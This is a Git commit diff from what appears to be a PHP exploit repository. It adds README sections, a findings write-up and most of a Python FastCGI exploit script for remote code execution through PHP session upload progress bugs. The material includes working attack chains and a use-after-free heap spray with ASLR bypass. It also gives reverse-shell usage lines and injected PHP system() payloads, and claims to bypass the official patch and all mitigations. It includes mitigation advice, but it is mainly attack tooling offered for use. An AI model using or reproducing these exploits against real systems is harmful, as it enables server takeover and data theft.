Compare commits
12
Commits
e58bb493af
...
32e5d9c8fa
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
32e5d9c8fa | ||
|
|
ac4e654dd6 | ||
|
|
fedef710e1 | ||
|
|
1d0e9f67fe | ||
|
|
e02c9f3122 | ||
|
|
13fdd2b446 | ||
|
|
39f7f33938 | ||
|
|
fbaced0a77 | ||
|
|
a5396a6ab0 | ||
|
|
76bc2bc2a3 | ||
|
|
8147ce0edb | ||
|
|
7fecd435cc |
@@ -2,7 +2,8 @@
|
|||||||
|
|
||||||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||||||
multipart parser and session upload progress handler. Includes three bypass
|
multipart parser and session upload progress handler. Includes three bypass
|
||||||
exploits that defeat the official security patch and all recommended mitigations.
|
exploits that defeat the official security patch and all recommended mitigations,
|
||||||
|
plus a no-LFI chain that removes the application from the attack entirely.
|
||||||
|
|
||||||
**No external dependencies** — pure Python 3 stdlib.
|
**No external dependencies** — pure Python 3 stdlib.
|
||||||
|
|
||||||
@@ -25,11 +26,15 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
|||||||
|--------|--------|-------------|
|
|--------|--------|-------------|
|
||||||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||||||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||||||
|
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||||||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||||||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||||
|
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||||
|
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||||
|
| `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** |
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -70,6 +75,135 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
|
|||||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||||
|
|
||||||
|
## RCE Without LFI
|
||||||
|
|
||||||
|
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
|
||||||
|
with **no application include at all**. The consumer is php-fpm's own request
|
||||||
|
routing instead of application code:
|
||||||
|
|
||||||
|
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
|
||||||
|
`<save_path>/sess_<SID>` during multipart parsing. This fires before
|
||||||
|
script dispatch, so any PHP-handled URL works — a 404 is enough.
|
||||||
|
2. If `session.save_path` is web-served, the session file is directly
|
||||||
|
requestable over HTTP.
|
||||||
|
3. With `security.limit_extensions` empty (common in production fpm pools),
|
||||||
|
fpm executes the extensionless session file through the classic
|
||||||
|
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
|
||||||
|
4. With `cleanup=1` (default) the file is truncated at upload end, so
|
||||||
|
execution is raced against the upload window (reliable on streaming
|
||||||
|
stacks, parse-time-limited on buffering stacks), or made deterministic
|
||||||
|
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
|
||||||
|
file persists.
|
||||||
|
|
||||||
|
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
|
||||||
|
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
|
||||||
|
the session decoder itself can never be used as the consumer: the `php`
|
||||||
|
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
|
||||||
|
the raw attacker bytes always land in the key which is never unserialized, and
|
||||||
|
`mod_files` rejects any SID that could turn the filename into an include
|
||||||
|
target.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# classify the target: which URL prefixes serve session.save_path
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
|
||||||
|
|
||||||
|
# interactive command shell via the served session dir
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||||
|
|
||||||
|
# deterministic persistence via the OOM bailout instead of the race
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
|
||||||
|
--oom --fields 30000 --fsize 512 --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
`nolfi/check_deploy.php` reports whether a deployment meets the two
|
||||||
|
preconditions (save_path web-served, empty limit_extensions). Drop it on the
|
||||||
|
target, request it once, remove it.
|
||||||
|
|
||||||
|
## RCE via FastCGI (Default Config)
|
||||||
|
|
||||||
|
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
|
||||||
|
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
|
||||||
|
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
|
||||||
|
scenarios.
|
||||||
|
|
||||||
|
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
|
||||||
|
worker in the multipart parser (keeping the poisoned session file on disk)
|
||||||
|
while a second FastCGI request to another worker sets
|
||||||
|
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
|
||||||
|
session file before any script. The attacker's PHP code executes.
|
||||||
|
|
||||||
|
`security.limit_extensions` does not block this: it only restricts
|
||||||
|
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
|
||||||
|
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
|
||||||
|
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||||
|
|
||||||
|
# Unix socket (local access)
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||||
|
|
||||||
|
# Specify PHP file and session path
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||||
|
--script-file /var/www/html/index.php \
|
||||||
|
--session-path /tmp --cmd 'id'
|
||||||
|
|
||||||
|
# Reverse shell
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||||
|
--lhost 10.0.0.1 --lport 4444
|
||||||
|
```
|
||||||
|
|
||||||
|
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||||
|
pool-level configuration can prevent this when FastCGI is reachable.
|
||||||
|
|
||||||
|
## UAF RCE (Apache mod_php, No LFI, No Framework)
|
||||||
|
|
||||||
|
`uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory
|
||||||
|
corruption path that requires **no LFI, no framework, no libraries, and no
|
||||||
|
non-default PHP settings**. The only SAPI requirement is Apache mod_php with
|
||||||
|
prefork MPM (default on Debian/Ubuntu).
|
||||||
|
|
||||||
|
Three-stage exploit chain with full ASLR bypass, all over plain HTTP:
|
||||||
|
|
||||||
|
1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)`
|
||||||
|
pointer. A second request sprays a fake `zend_string` with `len=0x1000`
|
||||||
|
over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap
|
||||||
|
data into a `Set-Cookie` header, revealing the Zend MM chunk base.
|
||||||
|
2. **Code leak**: Same mechanism, but the spray places a real `HashTable`
|
||||||
|
at the target slot. The `pDestructor` field leaks the libphp.so base.
|
||||||
|
3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an
|
||||||
|
embedded command string is sprayed onto the heap. Session cleanup calls
|
||||||
|
`zend_hash_destroy` on the fake table, invoking `system(cmd)`.
|
||||||
|
|
||||||
|
The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`:
|
||||||
|
PHP only checks `Content-Length`, so a chunked request with no
|
||||||
|
`Content-Length` header delivers the full OOM payload (140MB) despite the
|
||||||
|
default 8MB limit.
|
||||||
|
|
||||||
|
Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`,
|
||||||
|
and WordPress 6.8.1 on stock PHP, all with zero configuration changes.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Auto-detect PHP version, look up offsets, exploit
|
||||||
|
python3 uaf-rce/rce_exploit.py -u http://target/index.php
|
||||||
|
|
||||||
|
# Verify RCE via docker exec
|
||||||
|
python3 uaf-rce/rce_exploit.py -u http://target/ \
|
||||||
|
--docker-proof CONTAINER /tmp/pwn
|
||||||
|
|
||||||
|
# Multi-worker Apache
|
||||||
|
python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150
|
||||||
|
|
||||||
|
# Custom command (max 14 bytes; use 'sh</tmp/c' for longer)
|
||||||
|
python3 uaf-rce/rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||||
|
```
|
||||||
|
|
||||||
|
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
|
||||||
|
never persists across requests. See `uaf-rce/README.md` for the full
|
||||||
|
vulnerability analysis, patch details, and offset database.
|
||||||
|
|
||||||
## Patch Bypass Findings
|
## Patch Bypass Findings
|
||||||
|
|
||||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||||
@@ -87,22 +221,41 @@ path. Worker exits code 1 (not the patched code 70), session persists.
|
|||||||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||||||
poisoning needed. **Bypasses every recommended mitigation.**
|
poisoning needed. **Bypasses every recommended mitigation.**
|
||||||
|
|
||||||
|
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
|
||||||
|
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
|
||||||
|
file is executed by fpm itself via PATH_INFO routing. No application
|
||||||
|
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
|
||||||
|
|
||||||
|
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
|
||||||
|
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
|
||||||
|
drips a multipart upload via raw FastCGI to hold a worker in the parser
|
||||||
|
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
|
||||||
|
No LFI, no special config, no library. `php_admin_value` does not block it.
|
||||||
|
See `fcgi/FINDINGS.md`.
|
||||||
|
|
||||||
### Mitigation Matrix
|
### Mitigation Matrix
|
||||||
|
|
||||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|
||||||
|---|---|---|---|
|
|---|---|---|---|---|---|
|
||||||
| Patch alone | FAIL | FAIL | FAIL |
|
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
|
||||||
| + `upload_progress=0` | OK | OK | **FAIL** |
|
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
|
||||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
|
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
|
||||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
|
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
|
||||||
| Fix the LFI | OK | OK | OK |
|
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
|
||||||
|
| + save_path not web-served | — | — | — | OK | **FAIL** |
|
||||||
|
| + block FPM network access | — | — | — | — | OK |
|
||||||
|
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
|
||||||
|
|
||||||
### Recommendations
|
### Recommendations
|
||||||
|
|
||||||
1. Set `session.upload_progress.enabled=0` in php.ini
|
1. Set `session.upload_progress.enabled=0` in php.ini
|
||||||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||||||
3. Fix any LFI vulnerabilities in applications
|
3. Fix any LFI vulnerabilities in applications
|
||||||
4. Set `open_basedir` to restrict filesystem access
|
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||||
|
5. Keep `session.save_path` outside any web-served tree
|
||||||
|
6. Set `open_basedir` to restrict filesystem access
|
||||||
|
7. Block network access to FPM: use unix sockets with restricted permissions,
|
||||||
|
firewall TCP port 9000
|
||||||
|
|
||||||
## WordPress
|
## WordPress
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,128 @@
|
|||||||
|
# RCE via FastCGI + Session Upload Progress (No LFI)
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
|
||||||
|
session upload progress write primitive from CVE-2026-109618 /
|
||||||
|
CVE-2026-109619 becomes RCE without any application-level vulnerability.
|
||||||
|
|
||||||
|
No LFI needed. No framework needed. No special PHP configuration needed.
|
||||||
|
Works on default php.ini settings.
|
||||||
|
|
||||||
|
## Attack chain
|
||||||
|
|
||||||
|
```
|
||||||
|
Worker A (held open) Worker B (executes)
|
||||||
|
--- ---
|
||||||
|
FastCGI POST with FastCGI GET with
|
||||||
|
multipart body: PHP_VALUE:
|
||||||
|
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
|
||||||
|
= <?php system(...); ?> /tmp/sess_<SID>
|
||||||
|
SCRIPT_FILENAME=
|
||||||
|
File upload content /var/www/html/index.php
|
||||||
|
dripped one byte at a time
|
||||||
|
-> session file persists PHP includes the session
|
||||||
|
-> parser blocks for file before index.php
|
||||||
|
the entire drip window -> attacker PHP runs
|
||||||
|
-> RCE
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step by step
|
||||||
|
|
||||||
|
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
|
||||||
|
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
|
||||||
|
`HTTP_COOKIE` param. The body contains:
|
||||||
|
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
|
||||||
|
- A file upload whose content is dripped slowly (byte by byte)
|
||||||
|
|
||||||
|
2. **FPM worker A enters the multipart parser.** As soon as the progress
|
||||||
|
field and file header are read, `session.upload_progress` writes the
|
||||||
|
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
|
||||||
|
reading the file content from STDIN, which we control.
|
||||||
|
|
||||||
|
3. **While worker A is blocked, open a second FastCGI connection to
|
||||||
|
worker B.** Send a GET request with:
|
||||||
|
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
|
||||||
|
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
|
||||||
|
|
||||||
|
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
|
||||||
|
`include()` the session file before running the main script. The session
|
||||||
|
file contains the attacker's `<?php ... ?>` code, which executes.
|
||||||
|
|
||||||
|
5. **Cleanup.** The drip finishes, worker A completes normally (or times
|
||||||
|
out), the session file is cleaned up. The attacker's code has already
|
||||||
|
executed on worker B.
|
||||||
|
|
||||||
|
## Why it works on default configuration
|
||||||
|
|
||||||
|
| Setting | Default | Required |
|
||||||
|
|---------|---------|----------|
|
||||||
|
| `session.upload_progress.enabled` | `1` | `1` |
|
||||||
|
| `session.save_path` | `/tmp` | Any known path |
|
||||||
|
| `pm.max_children` | `5` (dynamic) | `>= 2` |
|
||||||
|
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
|
||||||
|
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
|
||||||
|
|
||||||
|
`security.limit_extensions` blocks execution of files without `.php`
|
||||||
|
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
|
||||||
|
`include()`, which ignores `security.limit_extensions` entirely. The
|
||||||
|
session file (which has no extension) is included as PHP code regardless
|
||||||
|
of `limit_extensions`.
|
||||||
|
|
||||||
|
## When FPM is reachable
|
||||||
|
|
||||||
|
This is the main precondition. The attacker needs raw TCP or unix socket
|
||||||
|
access to the FPM process. This is realistic in:
|
||||||
|
|
||||||
|
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
|
||||||
|
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
|
||||||
|
can reach it.
|
||||||
|
|
||||||
|
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
|
||||||
|
name. Adjacent pods, including compromised ones, can send raw FastCGI.
|
||||||
|
|
||||||
|
3. **SSRF.** An SSRF vulnerability in any application on the same host
|
||||||
|
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
|
||||||
|
can carry arbitrary TCP payloads including FastCGI.
|
||||||
|
|
||||||
|
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
|
||||||
|
Docker port mappings exposing 9000 to the network.
|
||||||
|
|
||||||
|
5. **Same-host access.** A low-privilege shell on the same machine can
|
||||||
|
often read the unix socket (permissions vary by distro).
|
||||||
|
|
||||||
|
## Test results
|
||||||
|
|
||||||
|
Tested against PHP-FPM 8.3.6 with default settings:
|
||||||
|
|
||||||
|
- `session.upload_progress.enabled=1` (default)
|
||||||
|
- `session.save_path=/tmp` (default)
|
||||||
|
- `session.upload_progress.cleanup=1` (default)
|
||||||
|
- `security.limit_extensions = .php .phar` (default)
|
||||||
|
- `pm = static`, `pm.max_children = 2`
|
||||||
|
|
||||||
|
Results: 3/3 tests successful. Race hit on first attempt within 200ms
|
||||||
|
of the drip starting. Reliable with `--drip-time 5` (5 second window).
|
||||||
|
|
||||||
|
## Mitigations
|
||||||
|
|
||||||
|
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
|
||||||
|
is not needed. This removes the write primitive entirely.
|
||||||
|
|
||||||
|
2. **Block network access to FPM.** FPM should only be reachable from the
|
||||||
|
web server process. Use unix sockets with restricted file permissions,
|
||||||
|
or firewall TCP port 9000.
|
||||||
|
|
||||||
|
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
|
||||||
|
racer cannot execute while the drip holds a worker. This severely impacts
|
||||||
|
performance and is not practical.
|
||||||
|
|
||||||
|
4. Setting `security.limit_extensions` does NOT help. The inclusion
|
||||||
|
happens via `auto_prepend_file`, which bypasses limit_extensions.
|
||||||
|
|
||||||
|
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
|
||||||
|
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
|
||||||
|
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
|
||||||
|
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
|
||||||
|
access bypasses the web server that would normally enforce admin
|
||||||
|
values. The only effective mitigation is blocking FastCGI access.
|
||||||
@@ -0,0 +1,566 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
|
||||||
|
|
||||||
|
Combines the PHP session upload progress write primitive with direct
|
||||||
|
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
|
||||||
|
special PHP configuration needed.
|
||||||
|
|
||||||
|
Attack chain:
|
||||||
|
1. FastCGI multipart POST to any .php file on the target FPM pool:
|
||||||
|
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
|
||||||
|
<save_path>/sess_<SID>. The request body is dripped slowly via
|
||||||
|
FastCGI STDIN so the session file persists for seconds (the
|
||||||
|
multipart parser blocks until STDIN EOF).
|
||||||
|
|
||||||
|
2. While worker A is blocked on our slow drip, a second FastCGI
|
||||||
|
request goes to worker B:
|
||||||
|
SCRIPT_FILENAME = <same .php file>
|
||||||
|
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
|
||||||
|
PHP includes the session file before running the script.
|
||||||
|
Our PHP code executes.
|
||||||
|
|
||||||
|
Why this works on default config:
|
||||||
|
- session.upload_progress.enabled=1 (default)
|
||||||
|
- session.save_path=/tmp (common default)
|
||||||
|
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
|
||||||
|
- security.limit_extensions only restricts SCRIPT_FILENAME, not
|
||||||
|
files loaded via auto_prepend_file
|
||||||
|
- No application vulnerability needed
|
||||||
|
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
|
||||||
|
|
||||||
|
Preconditions:
|
||||||
|
- Network access to PHP-FPM (TCP socket or unix socket)
|
||||||
|
- At least one .php file exists on the server
|
||||||
|
- session.upload_progress.enabled=1 (default)
|
||||||
|
- pm.max_children >= 2 (default)
|
||||||
|
|
||||||
|
When is FPM reachable:
|
||||||
|
- Docker: official PHP-FPM images listen on TCP 9000
|
||||||
|
- Kubernetes: FPM pods addressable from adjacent pods
|
||||||
|
- SSRF: another app on the same host can reach FPM
|
||||||
|
- Same-host: unix socket /run/php/php-fpm.sock
|
||||||
|
- Exposed port: firewall misconfiguration
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
# Direct FastCGI (drip race, most reliable)
|
||||||
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||||
|
|
||||||
|
# Specify PHP file and session path
|
||||||
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||||
|
--script-file /var/www/html/index.php \\
|
||||||
|
--session-path /tmp --cmd 'id'
|
||||||
|
|
||||||
|
# Unix socket
|
||||||
|
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||||
|
|
||||||
|
# HTTP poison + FastCGI execute (when FPM not directly reachable
|
||||||
|
# for uploads, but reachable for execution)
|
||||||
|
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
|
||||||
|
|
||||||
|
# Reverse shell
|
||||||
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||||
|
--lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
# ── FastCGI protocol ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
FCGI_VERSION_1 = 1
|
||||||
|
FCGI_BEGIN_REQUEST = 1
|
||||||
|
FCGI_END_REQUEST = 3
|
||||||
|
FCGI_PARAMS = 4
|
||||||
|
FCGI_STDIN = 5
|
||||||
|
FCGI_STDOUT = 6
|
||||||
|
FCGI_STDERR = 7
|
||||||
|
FCGI_RESPONDER = 1
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_record(rtype, request_id, content):
|
||||||
|
clen = len(content)
|
||||||
|
pad = (8 - (clen % 8)) % 8
|
||||||
|
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
|
||||||
|
request_id, clen, pad)
|
||||||
|
+ content + b"\x00" * pad)
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
|
||||||
|
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
|
||||||
|
struct.pack(">HBxxxxx", role, flags))
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_nv(name, value):
|
||||||
|
nlen = len(name)
|
||||||
|
vlen = len(value)
|
||||||
|
out = b""
|
||||||
|
if nlen < 128:
|
||||||
|
out += struct.pack("B", nlen)
|
||||||
|
else:
|
||||||
|
out += struct.pack(">I", nlen | 0x80000000)
|
||||||
|
if vlen < 128:
|
||||||
|
out += struct.pack("B", vlen)
|
||||||
|
else:
|
||||||
|
out += struct.pack(">I", vlen | 0x80000000)
|
||||||
|
return out + name + value
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_params(request_id, params_dict):
|
||||||
|
body = b""
|
||||||
|
for k, v in params_dict.items():
|
||||||
|
body += fcgi_nv(k.encode(), v.encode())
|
||||||
|
return (fcgi_record(FCGI_PARAMS, request_id, body)
|
||||||
|
+ fcgi_record(FCGI_PARAMS, request_id, b""))
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_stdin_eof(request_id):
|
||||||
|
return fcgi_record(FCGI_STDIN, request_id, b"")
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_parse_stdout(data):
|
||||||
|
stdout_data = b""
|
||||||
|
stderr_data = b""
|
||||||
|
pos = 0
|
||||||
|
while pos + 8 <= len(data):
|
||||||
|
_, rtype, _, clen, pad = struct.unpack(
|
||||||
|
">BBHHBx", data[pos:pos+8])
|
||||||
|
content = data[pos+8:pos+8+clen]
|
||||||
|
pos += 8 + clen + pad
|
||||||
|
if rtype == FCGI_STDOUT:
|
||||||
|
stdout_data += content
|
||||||
|
elif rtype == FCGI_STDERR:
|
||||||
|
stderr_data += content
|
||||||
|
elif rtype == FCGI_END_REQUEST:
|
||||||
|
break
|
||||||
|
return stdout_data, stderr_data
|
||||||
|
|
||||||
|
|
||||||
|
# ── FPM connection ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def fpm_connect(fpm_addr, timeout=10):
|
||||||
|
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
|
||||||
|
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
sock.connect(fpm_addr)
|
||||||
|
return sock
|
||||||
|
if ":" in fpm_addr:
|
||||||
|
host, port = fpm_addr.rsplit(":", 1)
|
||||||
|
port = int(port)
|
||||||
|
else:
|
||||||
|
host = fpm_addr
|
||||||
|
port = 9000
|
||||||
|
return socket.create_connection((host, port), timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
|
||||||
|
"""Send GET request to FPM with auto_prepend_file."""
|
||||||
|
params = {
|
||||||
|
"SCRIPT_FILENAME": script_filename,
|
||||||
|
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
|
||||||
|
"REQUEST_METHOD": "GET",
|
||||||
|
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||||
|
"REMOTE_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_PORT": "80",
|
||||||
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||||
|
"CONTENT_TYPE": "",
|
||||||
|
"CONTENT_LENGTH": "0",
|
||||||
|
"DOCUMENT_ROOT": os.path.dirname(script_filename),
|
||||||
|
"REQUEST_URI": "/" + os.path.basename(script_filename),
|
||||||
|
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
|
||||||
|
}
|
||||||
|
|
||||||
|
request_id = 1
|
||||||
|
payload = fcgi_begin_request(request_id)
|
||||||
|
payload += fcgi_params(request_id, params)
|
||||||
|
payload += fcgi_stdin_eof(request_id)
|
||||||
|
|
||||||
|
sock = fpm_connect(fpm_addr, timeout)
|
||||||
|
sock.sendall(payload)
|
||||||
|
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(65536)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
stdout_data, stderr_data = fcgi_parse_stdout(resp)
|
||||||
|
if b"\r\n\r\n" in stdout_data:
|
||||||
|
_, body = stdout_data.split(b"\r\n\r\n", 1)
|
||||||
|
return body, stderr_data
|
||||||
|
return stdout_data, stderr_data
|
||||||
|
|
||||||
|
|
||||||
|
# ── Multipart helpers ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def mp_field(bnd, name, value):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
|
||||||
|
|
||||||
|
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
|
||||||
|
session_paths, marker, drip_time=10,
|
||||||
|
timeout=30):
|
||||||
|
